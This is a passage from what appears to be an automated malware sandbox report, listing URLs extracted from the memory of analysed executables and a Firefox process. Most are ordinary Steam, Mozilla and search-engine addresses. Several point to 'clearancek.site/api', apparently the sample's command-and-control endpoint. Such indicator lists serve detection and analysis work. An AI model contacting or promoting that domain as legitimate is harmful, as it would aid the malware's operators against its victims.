Source: firefox.exe, 0000001A.00000003.3043466940.000001EE2FE67000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3278899876.000001EE31709000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3190784992.000001EE2FE61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1584464
Source: firefox.exe, 0000001A.00000003.3043466940.000001EE2FE67000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3278899876.000001EE31709000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3190784992.000001EE2FE61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1607439
Source: firefox.exe, 0000001A.00000003.3043466940.000001EE2FE67000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3278899876.000001EE31709000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3190784992.000001EE2FE61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1616739
Source: firefox.exe, 0000001A.00000003.3043466940.000001EE2FE67000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3190784992.000001EE2FE61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1616739Value
Source: firefox.exe, 0000001A.00000002.3214859030.000001EE30903000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1694699#c21
Source: 2ffb915ad7.exe, 0000000B.00000002.2843448206.0000000001664000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.cloudflare.steamstatic.com/steamcommunity/public/assets/
Source: file.exe, 00000000.00000003.2066723492.0000000005AD6000.00000004.00000800.00020000.00000000.sdmp, 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000003.2333356188.000000000136F000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3003136652.00000000052BB000.00000004.00000800.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3002015422.00000000052BE000.00000004.00000800.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3002235751.00000000052BB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000003.2066723492.0000000005AD6000.00000004.00000800.00020000.00000000.sdmp, 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000003.2333356188.000000000136F000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3003136652.00000000052BB000.00000004.00000800.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3002015422.00000000052BE000.00000004.00000800.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3002235751.00000000052BB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000003.2066723492.0000000005AD6000.00000004.00000800.00020000.00000000.sdmp, 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000003.2333356188.000000000136F000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3003136652.00000000052BB000.00000004.00000800.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3002015422.00000000052BE000.00000004.00000800.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3002235751.00000000052BB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: 2ffb915ad7.exe, 0000000B.00000002.2843448206.0000000001664000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000B.00000003.2841091310.00000000016A3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://checkout.steampowered.com/
Source: file.exe, 00000000.00000003.2049841334.000000000110E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://clearancek.site/
Source: file.exe, 00000000.00000003.2049716081.0000000001140000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://clearancek.site/api7
Source: 2ffb915ad7.exe, 0000000C.00000003.2984969924.0000000000C85000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://clearancek.site:443/api
Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://color.firefox.com/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_content=theme-f
Source: 2ffb915ad7.exe, 0000000C.00000003.3084864515.0000000000D14000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3072586659.0000000000D13000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3003093031.0000000000D14000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3073546005.0000000000D13000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3024816414.0000000000D0F000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.2999075528.0000000000D0F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloL_
Source: 2ffb915ad7.exe, 0000000C.00000003.3072586659.0000000000D13000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3003093031.0000000000D14000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3073546005.0000000000D13000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3084450142.0000000000D16000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3024816414.0000000000D0F000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.2999075528.0000000000D0F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflar
Source: 2ffb915ad7.exe, 0000000C.00000003.3084864515.0000000000D14000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3072586659.0000000000D13000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3003093031.0000000000D14000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3073546005.0000000000D13000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3024816414.0000000000D0F000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.2999075528.0000000000D0F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamst
Source: 2ffb915ad7.exe, 0000000B.00000002.2843448206.0000000001664000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/
Source: 2ffb915ad7.exe, 0000000B.00000003.2841091310.00000000016A3000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000B.00000003.2841267839.0000000001627000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.2984866268.0000000000D07000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/css/applications/community/main.css?v=ljhW-PbGuX
Source: file.exe, 00000000.00000003.2049650600.000000000119C000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000B.00000003.2841091310.00000000016A3000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.2984866268.0000000000D07000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.2999075528.0000000000D0F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/css/globalv2.css?v=pwVcIAtHNXwg&l=english&am
Source: file.exe, 00000000.00000003.2049650600.000000000119C000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.2984935243.0000000000D00000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.2984866268.0000000000D07000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.2999075528.0000000000D0F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/css/promo/summer2017/stickers.css?v=bZKSp7oNwVPK
Source: 2ffb915ad7.exe, 0000000C.00000003.2984935243.0000000000D00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/css/skin_1/
Source: 2ffb915ad7.exe, 0000000B.00000003.2841091310.00000000016A3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/css/skin_1/fatalerror.css?v=wctRWaBvNt2z&l=e
Source: 2ffb915ad7.exe, 0000000C.00000003.2984935243.0000000000D00000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.2984866268.0000000000D07000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.2999075528.0000000000D0F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/css/skin_1/header.css?v=vh4BMeDcNiCU&l=engli
Source: file.exe, 00000000.00000003.2049650600.000000000119C000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.2984866268.0000000000D07000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.2999075528.0000000000D0F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/css/skin_1/modalContent.css?v=.VpiwkLAYt9r1&
Source: 2ffb915ad7.exe, 0000000C.00000003.3186014931.0000000000D00000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3105982780.0000000000CBD000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3120031532.0000000000CBD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/css/skin_1/profbx
Source: file.exe, 00000000.00000003.2049650600.000000000119C000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.2984935243.0000000000D00000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.2984866268.0000000000D07000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.2999075528.0000000000D0F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/css/skin_1/profilev2.css?v=gNE3gksLVEVa&l=en
Source: file.exe, 00000000.00000003.2049650600.000000000119C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2049841334.0000000001108000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.2984969924.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.2984866268.0000000000D07000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/images/skin_1/arrowDn9x5.gif
Source: file.exe, 00000000.00000003.2049650600.000000000119C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2049841334.0000000001108000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000B.00000003.2841091310.00000000016A3000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000B.00000003.2841267839.0000000001627000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.2984866268.0000000000D07000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1
Source: file.exe, 00000000.00000003.2049650600.000000000119C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2049841334.0000000001108000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000B.00000003.2841091310.00000000016A3000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000B.00000003.2841267839.0000000001627000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.2984969924.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.2984866268.0000000000D07000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/applications/community/libraries~b28b
Source: file.exe, 00000000.00000003.2049650600.000000000119C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2049841334.0000000001108000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000B.00000003.2841091310.00000000016A3000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000B.00000003.2841267839.0000000001627000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.2984969924.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.2984866268.0000000000D07000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/applications/community/main.js?v=W9BX
Source: file.exe, 00000000.00000003.2049650600.000000000119C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2049841334.0000000001108000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000B.00000003.2841091310.00000000016A3000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000B.00000003.2841267839.0000000001627000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.2984866268.0000000000D07000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/applications/community/manifest.js?v=
Source: file.exe, 00000000.00000003.2049650600.000000000119C000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000B.00000003.2841091310.00000000016A3000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.2984935243.0000000000D00000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.2984866268.0000000000D07000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.2999075528.0000000000D0F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/global.js?v=bOP7RorZq4_W&l=englis
Source: 2ffb915ad7.exe, 0000000C.00000003.2984866268.0000000000D07000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.2999075528.0000000000D0F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/jquery-1.11.1.min.js?v=.isFTSRckeNhC&
Source: file.exe, 00000000.00000003.2049650600.000000000119C000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.2984935243.0000000000D00000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.2984866268.0000000000D07000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.2999075528.0000000000D0F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/modalContent.js?v=UuGFpt56D9L4&l=
Source: file.exe, 00000000.00000003.2049650600.000000000119C000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.2984935243.0000000000D00000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.2984866268.0000000000D07000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.2999075528.0000000000D0F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/modalv2.js?v=dfMhuy-Lrpyo&l=engli
Source: file.exe, 00000000.00000003.2049650600.000000000119C000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.2984935243.0000000000D00000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.2984866268.0000000000D07000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.2999075528.0000000000D0F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/profile.js?v=KkhJqW2NGKiM&l=engli
Source: file.exe, 00000000.00000003.2049650600.000000000119C000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.2984935243.0000000000D00000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.2984866268.0000000000D07000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.2999075528.0000000000D0F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/promo/stickers.js?v=GfA42_x2_aub&
Source: file.exe, 00000000.00000003.2049650600.000000000119C000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000B.00000003.2841091310.00000000016A3000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.2984935243.0000000000D00000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.2984866268.0000000000D07000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.2999075528.0000000000D0F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/prototype-1.7.js?v=.55t44gwuwgvw&
Source: file.exe, 00000000.00000003.2049650600.000000000119C000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.2984935243.0000000000D00000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.2984866268.0000000000D07000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.2999075528.0000000000D0F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/reportedcontent.js?v=dAtjbcZMWhSe&amp
Source: file.exe, 00000000.00000003.2049650600.000000000119C000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000B.00000003.2841091310.00000000016A3000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.2984935243.0000000000D00000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.2984866268.0000000000D07000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.2999075528.0000000000D0F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=OeNIgrpE
Source: file.exe, 00000000.00000003.2049650600.000000000119C000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.2984935243.0000000000D00000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.2984866268.0000000000D07000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/webui/clientcom.js?v=qYlgdgWOD4Ng&amp
Source: 2ffb915ad7.exe, 0000000C.00000003.3186014931.0000000000D00000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3105982780.0000000000CBD000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.2984935243.0000000000D00000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3120031532.0000000000CBD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/css
Source: file.exe, 00000000.00000003.2049650600.000000000119C000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000B.00000003.2841091310.00000000016A3000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.2984935243.0000000000D00000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.2984866268.0000000000D07000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.2999075528.0000000000D0F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/css/buttons.css?v=tuNiaSwXwcYT&l=engl
Source: 2ffb915ad7.exe, 0000000C.00000003.2999075528.0000000000D0F000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3120031532.0000000000CBD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/css/motiva_sans.css?v=GfSjbGKcNYaQ&l=
Source: 2ffb915ad7.exe, 0000000C.00000003.2984866268.0000000000D07000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.2999075528.0000000000D0F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/css/shared_global.css?v=Ff_1prscqzeu&
Source: file.exe, 00000000.00000003.2049650600.000000000119C000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000B.00000003.2841091310.00000000016A3000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.2984935243.0000000000D00000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.2984866268.0000000000D07000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/css/shared_responsive.css?v=eghn9DNyCY67&
Source: file.exe, 00000000.00000003.2049650600.000000000119C000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000B.00000003.2841091310.00000000016A3000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.2984866268.0000000000D07000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/images/header/logo_steam.svg?t=962016
Source: file.exe, 00000000.00000003.2049650600.000000000119C000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000B.00000003.2841091310.00000000016A3000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.2984866268.0000000000D07000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/images/responsive/header_logo.png
Source: file.exe, 00000000.00000003.2049650600.000000000119C000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000B.00000003.2841091310.00000000016A3000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.2984866268.0000000000D07000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.p
Source: file.exe, 00000000.00000003.2049650600.000000000119C000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000B.00000003.2841091310.00000000016A3000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.2984866268.0000000000D07000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png
Source: file.exe, 00000000.00000003.2049650600.000000000119C000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000B.00000003.2841091310.00000000016A3000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.2984935243.0000000000D00000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.2984866268.0000000000D07000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.2999075528.0000000000D0F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/javascript/auth_refresh.js?v=WgUxSlKTb3W1
Source: file.exe, 00000000.00000003.2049650600.000000000119C000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000B.00000003.2841091310.00000000016A3000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.2984935243.0000000000D00000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.2984866268.0000000000D07000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.2999075528.0000000000D0F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/javascript/shared_global.js?v=wJD9maDpDcV
Source: file.exe, 00000000.00000003.2049650600.000000000119C000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000B.00000003.2841091310.00000000016A3000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.2984866268.0000000000D07000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/javascript/shared_responsive_adapter.js?v
Source: file.exe, 00000000.00000003.2049650600.000000000119C000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000B.00000003.2841091310.00000000016A3000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.2984935243.0000000000D00000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.2984866268.0000000000D07000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.2999075528.0000000000D0F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/javascript/tooltip.js?v=.zYHOpI1L3Rt0&amp
Source: firefox.exe, 0000001A.00000003.3065117194.000001EE368BB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3002704138.000001EE2EA00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3003350184.000001EE2E43E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3176516013.000001EE2ED00000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3292321816.000001EE368C9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3004085637.000001EE2E481000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3147333105.000001EE2AB73000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3003678460.000001EE2E460000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://completion.amazon.com/search/complete?q=
Source: firefox.exe, 0000001A.00000002.3292321816.000001EE368B5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3174360577.000001EE2EBC6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://content-signature-2.cdn.mozilla.net
Source: firefox.exe, 0000001A.00000002.3292321816.000001EE368B5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://content-signature-2.cdn.mozilla.net/
Source: firefox.exe, 0000001A.00000002.3182930609.000001EE2F635000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3147333105.000001EE2AB25000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://content-signature-2.cdn.mozilla.net/chains/remote-settings.content-signature.mozilla.org-202
Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://content.cdn.mozilla.net
Source: file.exe, 00000000.00000003.2106047538.0000000005B3B000.00000004.00000800.00020000.00000000.sdmp, 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2469625027.0000000001340000.00000004.00000020.00020000.00000000.sdmp, 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2492324238.00000000296C3000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3072995899.0000000005285000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3164928829.000001EE2E64C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3161984766.000001EE2E337000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3137476533.000001EE2A1AD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
